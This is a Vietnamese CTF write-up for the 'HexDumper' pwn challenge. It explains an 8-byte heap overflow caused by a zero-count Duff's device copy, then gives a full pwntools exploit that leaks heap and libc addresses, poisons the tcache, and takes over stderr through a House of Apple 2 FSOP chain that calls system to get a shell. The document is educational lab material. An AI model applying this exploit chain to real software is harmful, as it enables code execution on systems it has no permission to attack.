HexDumper
Vulnerability: Chương trình tin rằng count > 0 khi dùng Duff's device để copy dữ liệu, nhưng attacker có thể đưa count = 0 qua input không được validate, dẫn đến buffer overflow 8 byte trên heap.
Recon
Mitigation

GLIBC Version
hungnt@hungnt-ubuntu:~/ctfs/BtS-2025-Writeups/pwn/HexDumper/challenge$ strings libc.so.6 | grep "GLIBC "
GNU C Library (Ubuntu GLIBC 2.40-1ubuntu3) stable release version 2.40.Code
void merge_dumps(void) {
int idx1 = ask_for_index();
if (idx1 == -1)
return;
if (dumps[idx1] == NULL) {
printf("\tDump with index %d doesn't exist\t", idx1);
return;
}
int idx2 = ask_for_index();
if (idx2 == -1)
return;
if (dumps[idx2] == NULL) {
printf("\tDump with index %d doesn't exist\n", idx2);
return;
}
if (idx1 == idx2) {
puts("\tCan't merge a dump with itself");
return;
}
size_t len1 = dump_sizes[idx1];
size_t len2 = dump_sizes[idx2];
size_t new_len = len1 + len2;
if (new_len > MAX_DUMP_SIZE) {
printf("\tMerged size is too big! %lu > %lu\n",
new_len,
(size_t)MAX_DUMP_SIZE);
return;
}
dumps[idx1] = realloc(dumps[idx1], len1+len2);
dump_sizes[idx1] = new_len;
// Code from: https://en.wikipedia.org/wiki/Duff%27s_device
register unsigned char *to = dumps[idx1]+len1, *from = dumps[idx2];
register int count = len2;
{
register int n = (count + 7) / 8;
switch (count % 8) {
case 0: do { *to++ = *from++;
case 7: *to++ = *from++;
case 6: *to++ = *from++;
case 5: *to++ = *from++;
case 4: *to++ = *from++;
case 3: *to++ = *from++;
case 2: *to++ = *from++;
case 1: *to++ = *from++;
} while (--n > 0);
}
}
free(dumps[idx2]);
dumps[idx2] = NULL;
dump_sizes[idx2] = 0;
--no_dumps;
puts("\tMerge successful");
}Tại hàm merge_dump(), chương trình sử dụng Duff’s device để copy bộ nhớ. Theo như Wikipedia https://en.wikipedia.org/wiki/Duff%27s_device, phương pháp tối ưu này giả sử rằng count > 0:

Nhưng trong chương trình ko có chỗ nào check count = 0, kể cả khi tạo dump mới. Nếu chunk tại idx2 được tạo với size = 0, thì newlen = len1 + 0, và realloc() sẽ ko làm gì vì kích thước ko đổi. Sau đó count = len2 = 0, rơi vào case 0 trong khối switch -> vẫn copy đủ 8 byte từ chunk idx2 vào sau idx1 -> overflow từ chunk idx1 -> ghi đè kích thước của chunk liền sau.
Solve
Mục tiêu là mình cần phải leak được heap và libc. Vậy chỉ với việc ghi đè kích thước của chunk liền sau có thể leak được địa chỉ?
Giả sử có 4 chunk liên tiếp: 0, 1, 2, 3.
- Ghi kích thước vào chunk 3 sao cho khi merge chunk 3 vào chunk 0, ghi đè kích thước đó vào kích thước của chunk 1, và kích thước sẽ bao luôn cả chunk 2, trông như chunk 3 nằm sau chunk 1.
- Free chunk 1 và cấp phát lại chunk 1 với kích thước giả đó. Chunk 1 và chunk 2 bây giờ overlap, có thể đọc luôn cả dữ liệu chunk 2.
- Free chunk 2 và leak địa chỉ bằng cách đọc chunk 1.
Vì phiên bản glibc là 2.40, có rất nhiều mitigations, nên ko ăn ngay RCE được. Có 2 hướng:
- Leak địa chỉ stack (qua __environ), sau đó tcache poisoning để ghi ROP chain vào return address nào đó. Nhưng có vẻ hướng này ko đc, vì chỉ ghi được 1 byte mỗi lúc nên ko ghi vào return address của change_byte() được. Nếu main có return thì cách này được, nhưng main exit() thay vì return.
- Thực hiện FSOP, tham khảo ở đây: https://roderickchan.github.io/zh-cn/house-of-apple-2. Mình sẽ ghi đè wide_vtable thay vì vtable để chiếm RCE.
Script
#!/usr/bin/env python3
from pwn import *
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\x00"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len
exe = ELF("hexdumper_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("ld-linux-x86-64.so.2", checksec=False)
context.terminal = ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"]
context.binary = exe
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
sleep(0.1)
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(0.5)
return p
else:
host = "localhost"
port = 1337
return remote(host, port)
p = conn()
def new_dump(size):
slan(p, b'==>', 1)
slan(p, b'size', size)
def hexdump(idx):
slan(p, b'==>', 2)
slan(p, b'index', idx)
def bite_a_byte(idx, offset, value):
slan(p, b'==>', 3)
slan(p, b'index', idx)
slan(p, b'Offset', offset)
slan(p, b'Value', value)
def bite_bytes(idx, offset, data):
for i in range(len(data)):
bite_a_byte(idx, offset + i, data[i])
def merge_dump(idx1, idx2):
slan(p, b'==>', 4)
slan(p, b'index', idx1)
slan(p, b'index', idx2)
def resize_dump(idx, size):
slan(p, b'==>', 5)
slan(p, b'index', idx)
slan(p, b'size', size)
def remove_dump(idx):
slan(p, b'==>', 6)
slan(p, b'index', idx)
# Setup
new_dump(0x18) # 0
new_dump(0x10) # 1
new_dump(0xe0) # 2
new_dump(0x10) # 3
new_dump(0x18) # 4
new_dump(0x10) # 5
new_dump(0x410) # 6
new_dump(0x10) # 7
new_dump(0xe0) # 8
# Leak heap
bite_bytes(3, 0, p64(0x111))
resize_dump(3, 0)
merge_dump(0, 3) # 8 byte overflow from chunk 0 -> overwrite chunk 1 size
remove_dump(1)
new_dump(0x100) # 1
bite_bytes(1, 24, p64(0xf1)) # revert chunk 2 size
remove_dump(2)
hexdump(1)
for i in range(5): rl(p)
dump = rl(p).split(b' ')[4:12]
heap_base = int(b''.join(reversed(dump)), 16) << 12
lg("heap", heap_base)
# Clean up
new_dump(0xe0) # 2
new_dump(0x10) # 3
bite_bytes(7, 0, p64(0x441))
resize_dump(7, 0)
merge_dump(4, 7) # 8 byte overflow from chunk 4 -> overwrite chunk 5 size
remove_dump(5)
new_dump(0x430) # 5
bite_bytes(5, 24, p64(0x421)) # revert chunk 6 size
remove_dump(6)
hexdump(5)
for i in range(5): rl(p)
dump = rl(p).split(b' ')[4:12]
libc.address = int(b''.join(reversed(dump)), 16) - 0x211b20
lg("libc base", libc.address)
# Clean up
new_dump(0x410) # 6
new_dump(0x10) # 7
# Tcache poisoning by overwriting chunk 2 fd pointer
remove_dump(8)
remove_dump(2)
fd = libc.symbols['_IO_2_1_stderr_'] ^ (heap_base >> 12)
bite_bytes(1, 32, p64(fd))
new_dump(0xe0) # 2
new_dump(0xe0) # 8 - allocate chunk 8 to stderr
file = flat(
# _IO_2_1_stderr_.file._flags
b' sh;'.ljust(88, b'\0'),
# _IO_2_1_stderr_.file._wide_data->_wide_vtable->doallocate
libc.symbols['system'],
0, 0, 0, 0, 0,
# _IO_2_1_stderr_.file._lock
libc.symbols['_IO_2_1_stderr_'] - 0x10,
0, 0,
# _IO_2_1_stderr_.file._wide_data
libc.symbols['_IO_2_1_stderr_'] - 0x10,
0, 0, 0,
# _IO_2_1_stderr_.file._mode
1,
0,
# _IO_2_1_stderr_.file._wide_data->_wide_vtable
libc.symbols['_IO_2_1_stderr_'] - 0x10,
# _IO_2_1_stderr_.vtable
libc.symbols['_IO_wfile_jumps'] + 0x18 - 0x58
# misalign vtable to call __overflow instead of __setbuf
)
bite_bytes(8, 0, file)
slan(p, b'==>', 0)
ia(p)